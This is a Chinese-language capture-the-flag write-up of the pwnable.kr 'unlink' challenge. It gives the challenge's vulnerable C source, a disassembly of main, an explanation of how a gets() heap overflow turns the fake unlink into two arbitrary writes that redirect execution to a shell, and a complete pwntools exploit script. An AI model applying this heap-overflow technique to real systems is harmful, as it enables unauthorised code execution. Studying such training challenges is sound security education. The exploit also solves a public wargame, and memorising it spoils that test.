pwnable.kr之unlink


pwnable.kr之unlink

之前在看别的东西,学习的随笔也没有写完......颓了几天。

由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。

1.程序分析

#include 
#include 
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。

程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。

这里泄露出了A在栈中的地址,以及A的堆地址。

gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:

0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。

unlink实现的功能其实入下:

P->fd->bk=P->bk
P->bk->fd=P->fd

覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:

   0x8048539 10>:    push   ebp
   0x804853a 11>:    mov    ebp,esp
   0x804853c 13>:    push   ecx
=> 0x804853d 14>:    sub    esp,0x14
   0x8048540 17>:    sub    esp,0xc
   0x8048543 20>:    push   0x400
   0x8048548 25>:    call   0x80483a0 
   0x804854d 30>:    add    esp,0x10
   0x8048550 33>:    sub    esp,0xc
   0x8048553 36>:    push   0x10
   0x8048555 38>:    call   0x80483a0 
   0x804855a 43>:    add    esp,0x10
   0x804855d 46>:    mov    DWORD PTR [ebp-0x14],eax
   0x8048560 49>:    sub    esp,0xc
   0x8048563 52>:    push   0x10
   0x8048565 54>:    call   0x80483a0 
   0x804856a 59>:    add    esp,0x10
   0x804856d 62>:    mov    DWORD PTR [ebp-0xc],eax
   0x8048570 65>:    sub    esp,0xc
   0x8048573 68>:    push   0x10
   0x8048575 70>:    call   0x80483a0 
   0x804857a 75>:    add    esp,0x10
   0x804857d 78>:    mov    DWORD PTR [ebp-0x10],eax
   0x8048580 81>:    mov    eax,DWORD PTR [ebp-0x14]
   0x8048583 84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x8048586 87>:    mov    DWORD PTR [eax],edx
   0x8048588 89>:    mov    edx,DWORD PTR [ebp-0x14]
   0x804858b 92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x804858e 95>:    mov    DWORD PTR [eax+0x4],edx
   0x8048591 98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x8048594 101>:    mov    edx,DWORD PTR [ebp-0x10]
   0x8048597 104>:    mov    DWORD PTR [eax],edx
   0x8048599 106>:    mov    eax,DWORD PTR [ebp-0x10]
   0x804859c 109>:    mov    edx,DWORD PTR [ebp-0xc]
   0x804859f 112>:    mov    DWORD PTR [eax+0x4],edx
   0x80485a2 115>:    sub    esp,0x8
   0x80485a5 118>:    lea    eax,[ebp-0x14]
   0x80485a8 121>:    push   eax
   0x80485a9 122>:    push   0x8048698
   0x80485ae 127>:    call   0x8048380 
   0x80485b3 132>:    add    esp,0x10
   0x80485b6 135>:    mov    eax,DWORD PTR [ebp-0x14]
   0x80485b9 138>:    sub    esp,0x8
   0x80485bc 141>:    push   eax
   0x80485bd 142>:    push   0x80486b8
   0x80485c2 147>:    call   0x8048380 
   0x80485c7 152>:    add    esp,0x10
   0x80485ca 155>:    sub    esp,0xc
   0x80485cd 158>:    push   0x80486d8
   0x80485d2 163>:    call   0x80483b0 
   0x80485d7 168>:    add    esp,0x10
   0x80485da 171>:    mov    eax,DWORD PTR [ebp-0x14]
   0x80485dd 174>:    add    eax,0x8
   0x80485e0 177>:    sub    esp,0xc
   0x80485e3 180>:    push   eax
   0x80485e4 181>:    call   0x8048390 
   0x80485e9 186>:    add    esp,0x10
   0x80485ec 189>:    sub    esp,0xc
   0x80485ef 192>:    push   DWORD PTR [ebp-0xc]
   0x80485f2 195>:    call   0x8048504 
   0x80485f7 200>:    add    esp,0x10
   0x80485fa 203>:    mov    eax,0x0
   0x80485ff 208>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x8048602 211>:    leave  
   0x8048603 212>:    lea    esp,[ecx-0x4]
   0x8048606 215>:    ret    

主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。

A,B,C结构体地址在栈中的布局如下所示:

我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。

所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:

假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:

BK=*(B+4)=####,把“####”赋给BK

FD=*(B)=$$$$,把“$$$$”赋给FD

FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处

BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处

   0x80485ff 208>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x8048602 211>:    leave  
   0x8048603 212>:    lea    esp,[ecx-0x4]
   0x8048606 215>:    ret    

我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。

exp如下:

from pwn import *

context.log_level="debug"
DEBUG=0
if DEBUG:
    io=process('./unlink')
else:
    sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')
    io=sh.run("./unlink")

elf=ELF('./unlink')
shell_addr=0x080484EC

io.recvuntil("here is stack address leak: ")
leak_stack=int(io.recv(10),16)
print("stack_addr:{}".format(hex(leak_stack)))
io.recvuntil("here is heap address leak: ")
leak_heap=int(io.recv(10),16)
print("heap_addr:{}".format(hex(leak_heap)))
io.recvline()

ebp_addr=leak_stack+0x14
ecx_addr=ebp_addr-0x4
padding='a'*8

payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)
io.send(payload)
io.interactive()
pwn